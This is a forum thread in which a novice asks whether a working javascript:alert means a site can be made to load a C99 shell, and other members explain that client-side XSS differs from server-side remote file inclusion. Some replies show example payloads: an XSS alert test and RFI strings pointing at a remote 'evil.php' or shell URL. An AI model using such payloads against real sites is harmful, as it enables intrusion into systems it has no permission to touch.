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Does javascript alert always mean |
chronicburst
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Hey, I was just curious to know if when javascblockedript:alert is used and works on a site. Does this always mean that you can run a shell through the site or not all the time?
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RE: Does javascript alert always mean |
spyware
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Posts: 4190
Location: The Netherlands
Joined: 14.04.07 Rank: God Warn Level: 90
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It means you don't understand a thing about the subject you are studying.

"The chowner of property." - Zeph Widespread intellectual and moral docility may be convenient for leaders in the short term,
but it is suicidal for nations in the long term. - Carl Sagan Since the grid is inescapable, what were the earlier lasers about? Does the corridor have a sense of humor? - Ebert |
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RE: Does javascript alert always mean |
chronicburst
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Posts: 466
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Thats what I figured.
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RE: Does javascript alert always mean |
ShapeShifters
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Joined: 21.12.07 Rank: God |
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yeah man learn a bit about javascblockedript injections. things will make more sense then.
to answer your question directly, no.
javascblockedript injections have nothing to do with running a shell on a site.
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RE: Does javascript alert always mean |
chronicburst
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Posts: 466
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No man, sorry. Thats not what I mean. I was saying would the fact that javascblockedript:alert works. Does this mean I could inject a shell such as C99 through a javascblockedript snippet which runs the remote page locally.
Like ?page=www.site.com/shell
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RE: Does javascript alert always mean |
ShapeShifters
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Posts: 393
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Nope. Think about it logically. You can javascblockedript:alert any page (like for example this hbh page) so it wouldn't make much sense if you could then open up a shell on hbh because it is obviously a pretty secure website. If it was that easy there'd be nothing to taking over any site.
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RE: Does javascript alert always mean |
yours31f
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Posts: 1678
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right all your doing is saying "make a popup"
Debugging is what programmers do to beta software to make it take up more room on your hard drive if it is running too efficiently.

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RE: Does javascript alert always mean |
GTADarkDude
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I think that's not what he means either. I think that what he asks is when a page is vulnerable to XSS, which you can test with a Javascblockedript alert, whether you can also include a C99 shell. Am I right?
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RE: Does javascript alert always mean |
Feralas
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index.php?id=<scblockedript>alert("abc");</scblockedript>
While the above may work, the bellow may not, and vice versa.
index.php?id=http://www.mysite.com/evil.php
/-- Ipsa Scientia Potestas Est --\

\-- Knowledge itself is power. --/

To fear death is to limit life.
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RE: Does javascript alert always mean |
Uber0n
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Posts: 1963
Location: Sweden
Joined: 13.06.06 Rank: God |
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This thread made me confused, but I suppose the answer you're looking for is something like this:
"Just because you can put javascblockedript injections in the URL bar no matter what site you're visiting, it doesn't mean the site is vulnerable to RFI. Javascblockedript is client-side scblockedripts and PHP is server-side."

http://uber0n.webs.com/ |
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